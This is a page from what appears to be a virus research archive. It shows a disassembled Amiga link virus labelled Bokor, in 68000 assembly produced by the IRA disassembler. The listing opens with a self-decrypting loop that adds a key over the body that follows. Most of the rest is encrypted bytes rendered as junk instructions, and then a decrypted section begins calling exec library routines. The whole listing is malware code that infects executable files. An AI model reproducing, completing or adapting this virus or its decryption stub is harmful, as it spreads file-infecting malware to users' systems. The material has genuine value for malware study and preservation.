home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
Bokor_LinkVirus
/
dir_bokor11.asm
< prev
next >
Wrap
Assembly Source File
|
2012-02-10
|
55KB
|
2,040 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $696
EXT_0002 EQU $698
EXT_0003 EQU $AC4
EXT_0004 EQU $1BB6
EXT_0005 EQU $3016
EXT_0006 EQU $3416
EXT_0007 EQU $6E96
EXT_0008 EQU $7C52
EXT_0009 EQU $4B47FEFD
EXT_000A EQU $BC166C97
EXT_000B EQU $BC187BE4
EXT_000C EQU $BC9AA826
EXT_000D EQU $FE26A390
EXT_000E EQU $FFFFA826
EXT_000F EQU $FFFFBC26
EXT_0010 EQU $FFFFBC2E
EXT_0011 EQU $FFFFDC30
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D6/A0-A6,-(A7) ;0000: 48E7FEFE
MOVEA.L A0,A0 ;0004: 2048
TST.L D0 ;0006: 4A80
LEA LAB_000B+2(PC),A5 ;0008: 4BFA05EE
MOVE #$0188,D5 ;000C: 3A3C0188
CMP.L D0,D1 ;0010: B280
TST.L D0 ;0012: 4A80
MOVEQ #0,D0 ;0014: 7000
TST.L D1 ;0016: 4A81
MOVE.L 32(A5),D2 ;0018: 242D0020
LEA LAB_0001(PC),A6 ;001C: 4DFA001E
LAB_0000:
ADD.L D2,(A6)+ ;0020: D59E
MOVEQ #0,D0 ;0022: 7000
TST.L D1 ;0024: 4A81
DBF D5,LAB_0000 ;0026: 51CDFFF8
MOVEA.L (ABSEXECBASE).W,A6 ;002A: 2C780004
MOVEA.L A6,A4 ;002E: 284E
JSR -636(A4) ;0030: 4EACFD84
CMP.L D0,D1 ;0034: B280
TST.L D2 ;0036: 4A82
TST.L D1 ;0038: 4A81
CMP.L D0,D1 ;003A: B280
LAB_0001:
BSET D5,(EXT_0001).W ;003C: 0BF80696
AND D4,(EXT_0007).W ;0040: C9786E96
BSET D5,(EXT_0001).W ;0044: 0BF80696
DC.W $A3FA ;0048
DC.W $6E96 ;004A
AND D4,-114(A7,A6.L) ;004C: C977E88E
DC.W $597B ;0050
DC.W $FE10 ;0052
DC.W $5C08 ;0054
SUBQ.L #8,-(A6) ;0056: 51A6
DC.W $A371 ;0058
MULS D0,D0 ;005A: C1C0
DC.W $9D71 ;005C
AND.L D0,38(A0,A2.L) ;005E: C1B0A826
CMPA.L -32264(A6),A4 ;0062: B9EE81F8
MOVE.L A2,D2 ;0066: 240A
DC.W $9B71 ;0068
DC.W $BEEE ;006A
DC.W $9D71 ;006C
DC.W $C1C8 ;006E
MOVEQ #1,D5 ;0070: 7A01
DC.W $0AC4 ;0072
DC.W $56FB ;0074
ADD (A2),D6 ;0076: DC52
SUBQ #4,(EXT_0004).W ;0078: 59781BB6
AND D5,(EXT_0003).W ;007C: CB780AC4
DC.W $58B1 ;0080
ROXL #2,D6 ;0082: E556
DC.W $597C ;0084
MOVE.L (A0),D2 ;0086: 2410
DC.W $83CC ;0088
DC.W $0803 ;008A
SVC -(A2) ;008C: 58E2
DC.W $0010 ;008E
DC.W $5EAB ;0090
ADDX.L D3,D7 ;0092: DF83
SUBQ #4,EXT_000B ;0094: 5979BC187BE4
CMP.B (A0)+,D6 ;009A: BC18
DC.W $65E1 ;009C
DC.W $04FD ;009E
SUBQ.L #4,A0 ;00A0: 5988
MOVE.L (A6),-(A1) ;00A2: 2316
SUBQ.L #5,-6314(A5) ;00A4: 5BADE756
DC.W $5979 ;00A8
MULU D3,D1 ;00AA: C2C3
DC.W $5977 ;00AC
EOR D7,D6 ;00AE: BF46
DC.W $5979 ;00B0
ROXR.L #1,D2 ;00B2: E292
ADDQ #5,(A7) ;00B4: 5A57
DC.W $AC1D ;00B6
DC.W $738B ;00B8
MOVE (A6),D2 ;00BA: 3416
DC.W $71A3 ;00BC
CMP.B (A5),D6 ;00BE: BC15
DC.W $5BBB ;00C0
EOR.B D6,(A4) ;00C2: BD14
DC.W $5BFC ;00C4
CMP.B (A6),D6 ;00C6: BC16
SUBQ.L #4,D6 ;00C8: 5986
DC.W $F55B ;00CA
SUBQ.L #4,(A2) ;00CC: 5992
DC.W $A163 ;00CE
MOVE -(A4),-(A2) ;00D0: 3524
CMP.B (A0)+,D6 ;00D2: BC18
DC.W $7BB7 ;00D4
ADD.B D7,(A2) ;00D6: DF12
DC.W $5977 ;00D8
DC.W $BFFF ;00DA
MOVEQ #51,D6 ;00DC: 7C33
CMP.B (A6),D6 ;00DE: BC16
DC.W $5B08 ;00E0
SUB -(A3),D7 ;00E2: 9E63
MOVE (A1),-(A2) ;00E4: 3511
MOVE (A6),D5 ;00E6: 3A16
DC.W $9F71 ;00E8
CMP.B (A4),D7 ;00EA: BE14
DC.W $9B71 ;00EC
AND D0,(A0)+ ;00EE: C158
DC.W $AC1F ;00F0
CMP.B -(A6),D6 ;00F2: BC26
MOVEQ #81,D6 ;00F4: 7C51
DC.W $C7BF ;00F6
DC.W $5976 ;00F8
MOVE.B (A6),-(A6) ;00FA: 1D16
SUBQ.L #5,D7 ;00FC: 5B87
DC.W $F81D ;00FE
DC.W $35BE ;0100
ADDQ #4,(A2)+ ;0102: 585A
MOVE D5,(A6)+ ;0104: 3CC5
ADDQ #4,(A3)+ ;0106: 585B
DC.W $3BC4 ;0108
DC.W $F21B ;010A
DC.W $3DC2 ;010C
DC.W $F019 ;010E
LAB_0002:
DC.W $61F9 ;0110
CMP.B (A7),D6 ;0112: BC17
BSR.S LAB_0002 ;0114: 61FA
CMP.B (A6),D6 ;0116: BC16
DC.W $2FBB ;0118
SUB (A0)+,D0 ;011A: 9058
MOVE (A3),(A5)+ ;011C: 3AD3
DC.W $9D70 ;011E
DC.W $CBF7 ;0120
DC.W $6E29 ;0122
DC.W $C48D ;0124
DC.W $DEF0 ;0126
DC.W $EEE1 ;0128
CMP.B (A2),D6 ;012A: BC12
DC.W $F6E1 ;012C
CMP.B (A4),D6 ;012E: BC14
MOVEQ #82,D6 ;0130: 7C52
DC.W $537F ;0132
DC.W $5974 ;0134
DC.W $977F ;0136
DC.W $5976 ;0138
DC.W $1C32 ;013A
MOVEQ #97,D6 ;013C: 7C61
CMP.B (A2)+,D6 ;013E: BC1A
MOVE -(A1),(A2)+ ;0140: 34E1
CMP.B (A4),D6 ;0142: BC14
DC.W $F0E1 ;0144
CMP.B (A2),D6 ;0146: BC12
MOVEQ #74,D6 ;0148: 7C4A
DC.W $517F ;014A
DC.W $5974 ;014C
DC.W $157F ;014E
DC.W $5976 ;0150
DC.W $597F ;0152
DC.W $5976 ;0154
CMPI #$BA77,-(A0) ;0156: 0C60BA77
CMPA.L A0,A6 ;015A: BDC8
DC.W $957F ;015C
SUB (A4)+,D4 ;015E: 985C
DC.W $F6E1 ;0160
CMP.B (A0)+,D6 ;0162: BC18
DC.W $7D7D ;0164
DC.W $A060 ;0166
DC.W $61F9 ;0168
CMP.B (A7),D6 ;016A: BC17
DC.W $CBF7 ;016C
DC.W $6E29 ;016E
AND.L D5,D2 ;0170: C485
LAB_0003:
DC.W $DEF0 ;0172
MOVEQ #82,D6 ;0174: 7C52
DC.W $557F ;0176
DC.W $5976 ;0178
DC.W $517F ;017A
DC.W $5974 ;017C
MOVE.B 31841(A2),D6 ;017E: 1C2A7C61
CMP.B (A2)+,D6 ;0182: BC1A
DC.W $F2E1 ;0184
CMP.B (A4),D6 ;0186: BC14
DC.W $EEE1 ;0188
CMP.B (A2),D6 ;018A: BC12
MOVEQ #74,D6 ;018C: 7C4A
DC.W $157F ;018E
DC.W $5976 ;0190
CMPI #$36E2,-(A0) ;0192: 0C6036E2
CMP.B (A0),D6 ;0196: BC10
SUB.L D2,(A2) ;0198: 9592
DC.W $4E29 ;019A
DC.W $C489 ;019C
DC.W $F852 ;019E
BTST D7,(A6) ;01A0: 0F16
MOVEA (A1)+,A2 ;01A2: 3459
DC.W $648B ;01A4
MOVE.L (A6),D1 ;01A6: 2216
DC.W $597F ;01A8
DC.W $F852 ;01AA
ROXL.B #7,D6 ;01AC: EF16
MOVEA (A3)+,A2 ;01AE: 345B
DC.W $8C3D ;01B0
DC.W $F81D ;01B2
DC.W $BA77 ;01B4
DC.W $BD6C ;01B6
DC.W $F5BF ;01B8
SUB (A4)+,D4 ;01BA: 985C
MOVEQ #81,D6 ;01BC: 7C51
ROR.B #1,D3 ;01BE: E21B
DC.W $3DC2 ;01C0
AND.L (A1)+,D2 ;01C2: C499
DC.W $5978 ;01C4
DC.W $537F ;01C6
DC.W $5974 ;01C8
DC.W $997F ;01CA
DC.W $5975 ;01CC
DC.W $DEF0 ;01CE
LAB_0004:
OR (A1),D6 ;01D0: 8C51
DC.W $F21B ;01D2
DC.W $3DC3 ;01D4
MOVEQ #-110,D1 ;01D6: 7292
DC.W $597F ;01D8
MOVE.L (A0)+,D1 ;01DA: 2218
DC.W $ACBA ;01DC
DC.W $F819 ;01DE
MOVE (A3),(A5)+ ;01E0: 3AD3
SUB (A1)+,D1 ;01E2: 9259
DC.W $F0E1 ;01E4
CMP.B (A4),D6 ;01E6: BC14
DC.W $BA77 ;01E8
EOR.B D6,(EXT_0008).W ;01EA: BD387C52
DC.W $597F ;01EE
DC.W $5974 ;01F0
MOVE -(A1),D4 ;01F2: 3821
DC.W $35BD ;01F4
ADDQ #4,(A5)+ ;01F6: 585D
AND.L D7,D2 ;01F8: C487
AND.B 15280(A1),D7 ;01FA: CE293BB0
CMP (A7),D7 ;01FE: BE57
DC.W $597E ;0200
ASL.B #7,D6 ;0202: EF06
BMI.S LAB_0005 ;0204: 6B78
BSET D6,-(A4) ;0206: 0DE4
SUBQ #4,-4526(A1) ;0208: 5969EE52
DC.W $5AFD ;020C
DC.W $FE10 ;020E
DC.W $57B3 ;0210
DC.W $DEEE ;0212
DC.W $AB41 ;0214
CMP.B (A2),D6 ;0216: BC12
DC.W $A7E8 ;0218
ADD (A6),D6 ;021A: DC56
MOVE D5,(A6)+ ;021C: 3CC5
DIVU (A3)+,D6 ;021E: 8CDB
DC.W $8AF4 ;0220
EORI.L #$5B87EE52,D7 ;0222: 0A875B87EE52
LSL.B #7,D0 ;0228: EF08
MOVEQ #-110,D2 ;022A: 7492
DC.W $59BB ;022C
MOVE.L (A2)+,D1 ;022E: 221A
DC.W $8BB4 ;0230
DC.W $71A6 ;0232
DC.W $11F3 ;0234
CMP (A3)+,D6 ;0236: BC5B
DC.W $BF7B ;0238
ROXR #7,D2 ;023A: EE52
MOVE.L D7,-(A7) ;023C: 2F07
ROXL #6,D7 ;023E: ED57
SVS D6 ;0240: 59C6
MOVE.L (A6),D7 ;0242: 2E16
BMI.S LAB_0004 ;0244: 6B8A
AND (A7),D0 ;0246: C057
SUBQ.L #4,A4 ;0248: 598C
MOVEA.L D4,A3 ;024A: 2644
DC.W $8AF4 ;024C
EORI.L #$59C64CDB,D7 ;024E: 0A8759C64CDB
MOVEQ #79,D6 ;0254: 7C4F
ADDA 31860(A6),A7 ;0256: DEEE7C74
DC.W $04FD ;025A
DC.W $5876 ;025C
MOVE.B (A6)+,(A2) ;025E: 149E
ADD.L D2,(A3) ;0260: D593
DC.W $0210 ;0262
SUBQ #6,D3 ;0264: 5D43
AND.B 23480(A1),D7 ;0266: CE295BB8
CMP.B (A5)+,D6 ;026A: BC1D
OR -12778(A1),D6 ;026C: 8C69CE16
DC.W $AE00 ;0270
BSET D6,-(A4) ;0272: 0DE4
DC.W $596A ;0274
MOVEA (A7),A2 ;0276: 3457
EOR.L D4,D2 ;0278: B982
MOVEM.L (A3)+,D0-D2/D7/A0-A1/A3/A6-A7 ;027A: 4CDBCB87
LAB_0005:
DC.W $DEEE ;027E
DC.W $AB41 ;0280
CMP.B (A2),D6 ;0282: BC12
DC.W $8BB3 ;0284
EOR.L D6,(A6) ;0286: BD96
DC.W $857D ;0288
DC.W $A064 ;028A
DC.W $2BFD ;028C
ASR #4,D2 ;028E: E842
SUBQ.L #4,A4 ;0290: 598C
SUB.L (A7)+,D4 ;0292: 989F
DC.W $A1BD ;0294
DC.W $DEAE ;0296
DC.W $11F3 ;0298
CMP (A3)+,D6 ;029A: BC5B
DC.W $BF7C ;029C
SUB.L D4,-18036(A7) ;029E: 99AFB98C
MOVEQ #-110,D2 ;02A2: 7492
DC.W $59B9 ;02A4
MOVE.L -(A2),-(A1) ;02A6: 2322
DC.W $11F3 ;02A8
CMP (A1)+,D6 ;02AA: BC59
DC.W $BF7C ;02AC
DC.W $79AF ;02AE
DC.W $B97C ;02B0
SUBQ.L #4,-(A7) ;02B2: 59A7
CMPA.L D1,A0 ;02B4: B1C1
BSET D6,(A7)+ ;02B6: 0DDF
SUBQ #4,(A5) ;02B8: 5955
ADD D7,(A4)+ ;02BA: DF5C
SUBQ #4,D0 ;02BC: 5940
DIVS (A3)+,D7 ;02BE: 8FDB
SUBA.L 2(A3,A4.W),A1 ;02C0: 93F3C002
MOVEQ #69,D6 ;02C4: 7C45
MOVE.L (A7),D6 ;02C6: 2C17
MOVEQ #55,D6 ;02C8: 7C37
ADDA (A6),A7 ;02CA: DED6
MOVEQ #51,D6 ;02CC: 7C33
CMP.B (A6),D6 ;02CE: BC16
ADDQ #6,A4 ;02D0: 5C4C
DC.W $97AF ;02D2
SUB.B (A1),D6 ;02D4: 9C11
DC.W $1863 ;02D6
MOVEQ #68,D6 ;02D8: 7C44
DC.W $FEC2 ;02DA
SUBQ.L #4,A4 ;02DC: 598C
DC.W $08F5 ;02DE
DC.W $D8F7 ;02E0
DC.W $0B0F ;02E2
DC.L SECSTRT_1 ;02E4: 00000660
DC.W $A25F ;02E8
CMP.B (A4),D6 ;02EA: BC14
DC.W $A571 ;02EC
DC.W $C1F8 ;02EE
DC.W $97B3 ;02F0
EOR.L D6,(A6) ;02F2: BD96
DC.W $A771 ;02F4
CMP D4,D6 ;02F6: BC44
DC.W $7DA4 ;02F8
DC.W $BC36 ;02FA
MOVE.L (A6),-(A7) ;02FC: 2F16
BSET D6,-(A5) ;02FE: 0DE5
SUBQ #4,-114(A3,A6.L) ;0300: 5973E88E
DC.W $597B ;0304
ASR D4,D4 ;0306: E864
DC.W $A826 ;0308
EOR.L D4,(A2)+ ;030A: B99A
AND D7,(EXT_0005).W ;030C: CF783016
DC.W $6D8B ;0310
SUB.B 17922(A1),D0 ;0312: 90294602
ADDI #$C092,(A0)+ ;0316: 0658C092
MOVEQ #-110,D5 ;031A: 7A92
SUBQ.L #4,D4 ;031C: 5984
LAB_0006:
DC.W $232A ;031E
DC.W $6F8B ;0320
SUB D1,D1 ;0322: 9241
DC.W $5976 ;0324
CMP (A1)+,D7 ;0326: BE59
DC.W $597E ;0328
ASL.B #7,D6 ;032A: EF06
DC.W $8B78 ;032C
DC.W $0E5D ;032E
DC.W $AB42 ;0330
DC.W $BBFE ;0332
DC.W $A7ED ;0334
LAB_0007:
EORI.L #$B9840F6F,D7 ;0336: 0A87B9840F6F
DC.W $ACC7 ;033C
LAB_0008:
DC.W $FD6A ;033E
DC.W $9CBF ;0340
CMP.B EXT_0009,D6 ;0342: BC394B47FEFD
DC.W $A25F ;0348
CMP.B (A4),D6 ;034A: BC14
DC.W $A371 ;034C
CMPA D0,A7 ;034E: BEC0
OR.L (EXT_000F).W,D1 ;0350: 82B8BC26
DC.W $79B9 ;0354
MOVE.L (A1)+,D7 ;0356: 2E19
MOVE A7,-(A5) ;0358: 3B0F
AND.B -21695(A6),D6 ;035A: CC2EAB41
CMP.B (A0),D6 ;035E: BC10
CMPA D0,A1 ;0360: B2C0
BGE.S LAB_0007 ;0362: 6CD2
DC.W $87BD ;0364
DC.W $145B ;0366
DC.W $C0B6 ;0368
BGE.S LAB_0008 ;036A: 6CD2
DIVS (A5)+,D3 ;036C: 87DD
MOVEA LAB_0006(PC,A4.W),A2 ;036E: 347BC0AE
MOVE (A7)+,D5 ;0372: 3A1F
DC.W $9D71 ;0374
DC.W $BE74 ;0376
DC.W $0A11 ;0378
MOVE.L (A6),-(A1) ;037A: 2316
DC.W $5BBA ;037C
BSET D6,-(A5) ;037E: 0DE5
DC.W $5970 ;0380
DC.W $062E ;0382
DC.W $C048 ;0384
MOVE.B (A6)+,25991(A0) ;0386: 115E6587
CMP (A6),D6 ;038A: BC56
DC.W $C477 ;038C
CMP D6,D7 ;038E: BE46
DC.W $79E3 ;0390
CMP.B -(A6),D6 ;0392: BC26
DC.W $6587 ;0394
CMP D4,D6 ;0396: BC44
DC.W $C077 ;0398
DC.W $BE3A ;039A
DC.W $6587 ;039C
DC.W $BC36 ;039E
EOR D7,EXT_000D ;03A0: BF79FE26A390
MOVE.L D2,-(A1) ;03A6: 2302
DC.W $9BF7 ;03A8
ADD -(A2),D7 ;03AA: DE62
DIVS -17382(A7),D2 ;03AC: 85EFBC1A
DC.W $A826 ;03B0
DC.W $B9EE ;03B2
DC.W $82B7 ;03B4
CMP.B -(A2),D6 ;03B6: BC22
DC.W $85B7 ;03B8
ADD D2,D7 ;03BA: DE42
SUBQ.L #4,A0 ;03BC: 5988
MOVE (A4),-(A0) ;03BE: 3114
DC.W $A826 ;03C0
CMPA.L D2,A5 ;03C2: BBC2
DC.W $7B78 ;03C4
MOVE.L (A6),-(A1) ;03C6: 2316
SUBQ #5,-5610(A5) ;03C8: 5B6DEA16
DC.W $A571 ;03CC
LAB_0009:
CMP.L A0,D7 ;03CE: BE88
DC.W $7D85 ;03D0
DC.W $0AC4 ;03D2
SUBQ.B #4,D5 ;03D4: 5905
DC.W $F643 ;03D6
SUBQ.L #4,D1 ;03D8: 5981
ADD.B (A5)+,D7 ;03DA: DE1D
SLE EXT_000A ;03DC: 5FF9BC166C97
ROR.B #4,D0 ;03E2: E818
DC.W $A826 ;03E4
DC.W $BBB0 ;03E6
OR D0,92(A7,A6.W) ;03E8: 8177E05C
DC.W $7BA1 ;03EC
CMP.L (A2),D6 ;03EE: BC92
DC.W $0C33 ;03F0
CMP.B (A1)+,D6 ;03F2: BC19
DC.W $4178 ;03F4
MOVE.L (A6),D3 ;03F6: 2616
DC.W $5B3E ;03F8
BGT.S LAB_0009 ;03FA: 6ED2
DC.W $5977 ;03FC
EXG D0,A6 ;03FE: C18E
DC.W $C477 ;0400
CMPA.L (A2),A6 ;0402: BDD2
OR.L (EXT_0010).W,D1 ;0404: 82B8BC2E
DC.W $7B7F ;0408
DC.W $0AC4 ;040A
SUBQ.B #4,(A6)+ ;040C: 591E
ADDI.L #$C077BDC2,(A2)+ ;040E: 069AC077BDC2
DC.W $13F3 ;0414
CMP -(A6),D6 ;0416: BC66
DC.W $C077 ;0418
DC.W $BDBA ;041A
DC.W $7BA3 ;041C
CMP.B -(A6),D6 ;041E: BC26
DC.W $7DB3 ;0420
CMP.B (A6),D6 ;0422: BC16
SUBQ #6,-(A5) ;0424: 5D65
DC.W $0AC4 ;0426
SUBQ #4,(A1)+ ;0428: 5959
ROXL #2,D7 ;042A: E557
SUBQ.L #4,A4 ;042C: 598C
MOVE.L (A6),-(A1) ;042E: 2316
SUBQ.B #5,D6 ;0430: 5B06
DC.W $0810 ;0432
SUBQ.L #5,D3 ;0434: 5B83
ASR.B D0,D3 ;0436: E023
AND.L D7,(A6)+ ;0438: CF9E
DC.W $0AC4 ;043A
SUBQ #4,A5 ;043C: 594D
DC.W $C8AB ;043E
DC.W $5977 ;0440
DC.W $C009 ;0442
DC.W $BF77 ;0444
EOR.L D6,(A2)+ ;0446: BD9A
DC.W $7DA4 ;0448
CMP.B 24057(A2),D6 ;044A: BC2A5DF9
CMP.B (A6),D6 ;044E: BC16
DC.W $5B08 ;0450
MOVE.L (A6)+,-(A3) ;0452: 271E
DC.W $5DB9 ;0454
DC.W $BC35 ;0456
DC.W $C477 ;0458
EOR.L D6,D6 ;045A: BD86
DC.W $7DBD ;045C
ASR.L #1,D0 ;045E: E280
SVS 1633(A4) ;0460: 59EC0661
AND.L D2,D0 ;0464: C082
MOVE (A6),D0 ;0466: 3016
DC.W $7BA3 ;0468
CMP.B -(A6),D6 ;046A: BC26
DC.W $A826 ;046C
EOR D5,(A4)+ ;046E: BB5C
DC.W $7BA3 ;0470
CMP.B -12936(A2),D6 ;0472: BC2ACD78
MOVE (A5),-(A1) ;0476: 3315
DC.W $A826 ;0478
CMPA.L (A4),A5 ;047A: BBD4
DC.W $79A3 ;047C
CMP.B -22024(A6),D6 ;047E: BC2EA9F8
MOVE.L (A6),D7 ;0482: 2E16
DIVS -17382(A7),D2 ;0484: 85EFBC1A
DC.W $A826 ;0488
EOR D5,(A0) ;048A: BB50
DC.W $82B7 ;048C
CMP.B 119(A2,A4.W),D6 ;048E: BC32C077
CMPM (A6)+,(A6)+ ;0492: BD4E
DC.W $7D78 ;0494
MOVE.B (A0)+,(A2) ;0496: 1498
DC.W $7FA3 ;0498
CMP.B 31651(A6),D6 ;049A: BC2E7BA3
CMP.B -31261(A2),D6 ;049E: BC2A85E3
CMP.B -(A2),D6 ;04A2: BC22
DC.W $A826 ;04A4
LAB_000A:
DC.W $BBEC ;04A6
DC.W $79E3 ;04A8
DC.W $BC32 ;04AA
DC.W $7DC0 ;04AC
DC.W $145E ;04AE
DC.W $ABDF ;04B0
CMP.B -(A0),D6 ;04B2: BC20
DC.W $ABDF ;04B4
CMP.B -30817(A0),D6 ;04B6: BC28879F
CMP.B (A6)+,D6 ;04BA: BC1E
DC.W $CD7B ;04BC
ASR -21694(A6) ;04BE: E0EEAB42
CMP.B (A2),D6 ;04C2: BC12
MOVEQ #51,D7 ;04C4: 7E33
CMP.B (A6),D6 ;04C6: BC16
DC.W $5B08 ;04C8
MOVE.L (A6),D7 ;04CA: 2E16
OR.L D5,-(A3) ;04CC: 8BA3
DC.W $BC3C ;04CE
DC.W $2BF9 ;04D0
DC.W $8FB0 ;04D2
DC.W $7BA3 ;04D4
CMP.B -12936(A2),D6 ;04D6: BC2ACD78
MOVE (A5),-(A1) ;04DA: 3315
DC.W $A826 ;04DC
CMPA.L (A4),A5 ;04DE: BBD4
DC.W $7F7F ;04E0
MOVE.B (A1)+,(A3) ;04E2: 1699
MOVE D2,(A7)+ ;04E4: 3EC2
ROR.B #3,D1 ;04E6: E619
DC.W $7BA3 ;04E8
CMP.B 32163(A2),D6 ;04EA: BC2A7DA3
CMP.B 38(A2,A2.L),D6 ;04EE: BC32A826
CMPA.L -(A6),A5 ;04F2: BBE6
DC.W $7DE3 ;04F4
DC.W $BC32 ;04F6
DC.W $2F3D ;04F8
MOVE.B (A5)+,31121(A0) ;04FA: 115D7991
DC.W $DE30 ;04FE
BSET D4,1(A3,A4.W) ;0500: 09F3C001
AND.L (A4)+,D0 ;0504: C09C
DC.W $A19F ;0506
MOVE.L (EXT_0011).W,-(A7) ;0508: 2F38DC30
BSET D4,8(A3,A4.W) ;050C: 09F3C008
AND.L -(A4),D0 ;0510: C0A4
BGE.S LAB_000A ;0512: 6C92
SUBQ #6,9008(A0) ;0514: 5D682330
BSET D4,2(A3,A4.W) ;0518: 09F3C002
EOR.L D7,(A5) ;051C: BF95
ADD.B -128(A0,A4.W),D6 ;051E: DC30C080
DC.W $0EB0 ;0522
MOVE D0,-(A7) ;0524: 3F00
SUBA.L (A6),A0 ;0526: 91D6
CMP -14208(A3),D5 ;0528: BA6BC880
SUBQ #6,-17384(A1) ;052C: 5D69BC18
AND.L D1,D0 ;0530: C081
DC.W $C8B0 ;0532
SUBQ #4,8(A7,A4.W) ;0534: 5977C008
DC.W $C070 ;0538
MOVE.B (A0)+,D6 ;053A: 1C18
CMPA.L D2,A0 ;053C: B1C2
BSET D6,-(A5) ;053E: 0DE5
DC.W $5933 ;0540
ADD D2,D7 ;0542: DE42
SUBQ.L #4,A4 ;0544: 598C
DC.W $0210 ;0546
ADDQ.L #5,(A0)+ ;0548: 5A98
MOVE (A6),D2 ;054A: 3416
SUB.L D0,-(A3) ;054C: 91A3
DC.W $BC3C ;054E
MOVE D4,(A7)+ ;0550: 3EC4
SUBA.L (A2)+,A0 ;0552: 91DA
SUB.B -(A1),D6 ;0554: 9C21
DC.W $BEF2 ;0556
ROL.B D7,D3 ;0558: EF3B
ASR.B D0,D0 ;055A: E020
DC.W $8FB3 ;055C
DC.W $C276 ;055E
MOVE #$929A,(EXT_000E).W ;0560: 31FC929AA826
CMPA.L -(A6),A5 ;0566: BBE6
DC.W $7FA3 ;0568
CMP.B -19973(A6),D6 ;056A: BC2EB1FB
ADDQ.L #1,(A3)+ ;056E: 529B
DC.W $7BA3 ;0570
CMP.B 32163(A2),D6 ;0572: BC2A7DA3
DC.W $BC32 ;0576
DC.W $2DFD ;0578
DC.W $0AC4 ;057A
SUBQ #4,D7 ;057C: 5947
ADD D2,D7 ;057E: DE42
SUBQ.L #4,A4 ;0580: 598C
DC.W $0AC4 ;0582
SUBQ #4,(A3) ;0584: 5953
ASR.B D0,D1 ;0586: E021
DC.W $C07F ;0588
ADD D2,D7 ;058A: DE42
SUBQ.L #4,A0 ;058C: 5988
DC.W $0AC4 ;058E
DC.W $58BD ;0590
ADD D2,D7 ;0592: DE42
SUBQ.L #4,D7 ;0594: 5987
ROR.B #8,D4 ;0596: E01C
SUBQ.L #7,EXT_000C ;0598: 5FB9BC9AA826
CMP.L A2,D5 ;059E: BA8A
DC.W $79A3 ;05A0
CMP.B -22025(A6),D6 ;05A2: BC2EA9F7
ADD.L D2,D7 ;05A6: DE82
SUBQ.L #4,(A3) ;05A8: 5993
LSR.L #4,D6 ;05AA: E88E
DC.W $597C ;05AC
DC.W $0AC4 ;05AE
ADDQ.L #4,-(A5) ;05B0: 58A5
ADD.L D2,D7 ;05B2: DE82
SUBQ.L #4,D4 ;05B4: 5984
DC.W $0AC4 ;05B6
SEQ (A2)+ ;05B8: 57DA
DC.W $0AC4 ;05BA
DC.W $56FC ;05BC
DC.W $08F5 ;05BE
DC.W $D977 ;05C0
DC.W $00F5 ;05C2
DC.W $A870 ;05C4
DC.W $BC3A ;05C6
DC.W $C033 ;05C8
ADD D2,D7 ;05CA: DE42
SUBQ.L #4,A4 ;05CC: 598C
DC.W $0AC4 ;05CE
SUBQ #4,(A4) ;05D0: 5954
MOVE.B D0,-(A6) ;05D2: 1D00
CMPA.L -(A4),A6 ;05D4: BDE4
DC.W $2188 ;05D6
MULS 12678(A4),D5 ;05D8: CBEC3186
DC.W $A2CA ;05DC
MOVE.B -16931(A1),12937(A0) ;05DE: 1169BDDD3289
SUBA.L D4,A6 ;05E4: 9DC4
BCHG D0,-25123(A0) ;05E6: 01689DDD
MOVE A1,(A1) ;05EA: 3289
DC.W $AFE1 ;05EC
MOVE.L A3,(A7) ;05EE: 2E8B
DC.W $9DBD ;05F0
DC.W $1269 ;05F2
DC.W $ABCC ;05F4
LAB_000B:
MOVE.B -(A6),-16921(A0) ;05F6: 1166BDE7
DC.W $2F44 ;05FA
MULS -(A1),D2 ;05FC: C5E1
DC.W $1E88 ;05FE
CMPA 13590(A2),A5 ;0600: BAEA3516
SUBQ.L #4,(A0)+ ;0604: 5998
DC.W $A6F2 ;0606
SUBQ.L #4,(A5)+ ;0608: 599D
DC.W $D57E ;060A
DC.W $ADEA ;060C
DC.W $3189 ;060E
MULS D6,D6 ;0610: CDC6
MOVE.L (A4)+,-15644(A5) ;0612: 2B5CC2E4
DC.W $2137 ;0616
DC.W $A688 ;0618
LEA -29269(A2),A1 ;061A: 43EA8DAB
CMP.B (A2)+,D6 ;061E: BC1A
DC.W $A5E7 ;0620
DC.W $1F77 ;0622
MULS (A4)+,D2 ;0624: C5DC
ADD -(A2),D6 ;0626: DC62
MULU (A2)+,D1 ;0628: C2DA
DC.W $2E77 ;062A
DC.W $CBF0 ;062C
CMP -(A2),D6 ;062E: BC62
BSET D5,(EXT_0002).W ;0630: 0BF80698
DC.W $A3F8 ;0634
DC.W $73D6 ;0636
AND D4,(EXT_0006).W ;0638: C9783416
DC.W $A3F8 ;063C
ADD (A6)+,D6 ;063E: DC5E
DC.W $5977 ;0640
CMPA A1,A6 ;0642: BCC9
SUBA.L -(A7),A5 ;0644: 9BE7
DC.W $2785 ;0646
AND.L D5,(A0)+ ;0648: CB98
DC.W $1247 ;064A
DC.W $87A8 ;064C
ADD.B D6,0(A7,D0.W) ;064E: DD370000
ORI.B #$00,D0 ;0652: 00000000
ORI.B #$00,D0 ;0656: 00000000
ORI.B #$00,D0 ;065A: 00000000
DC.W $0000 ;065E
SECTION S_1,CODE
SECSTRT_1:
LINK A5,#-776 ;0660: 4E55FCF8
MOVEM.L D2-D3/A2-A3/A6,-(A7) ;0664: 48E73032
MOVEA #$0004,A0 ;0668: 307C0004
MOVEA.L (A0),A3 ;066C: 2650
MOVEA.L A3,A0 ;066E: 204B
MOVE.L A0,24(A7) ;0670: 2F480018
MOVE #$02ED,D0 ;0674: 303C02ED
MOVEQ #0,D1 ;0678: 7200
LEA -758(A5),A1 ;067A: 43EDFD0A
LAB_000D:
MOVE.B D1,(A1)+ ;067E: 12C1
DBF D0,LAB_000D ;0680: 51C8FFFC
MOVE.L A3,-758(A5) ;0684: 2B4BFD0A
MOVEQ #20,D0 ;0688: 7014
MOVE.L D0,-460(A5) ;068A: 2B40FE34
MOVE.L D1,-464(A5) ;068E: 2B41FE30
LEA LAB_0027(PC),A1 ;0692: 43FA0230
MOVEQ #36,D0 ;0696: 7024
MOVEA.L A3,A6 ;0698: 2C4B
JSR -552(A6) ;069A: 4EAEFDD8
MOVEA.L D0,A2 ;069E: 2440
MOVE.L A2,D0 ;06A0: 200A
BEQ LAB_0025 ;06A2: 67000204
MOVE.L A2,-754(A5) ;06A6: 2B4AFD0E
MOVE.L #$00000800,D0 ;06AA: 203C00000800
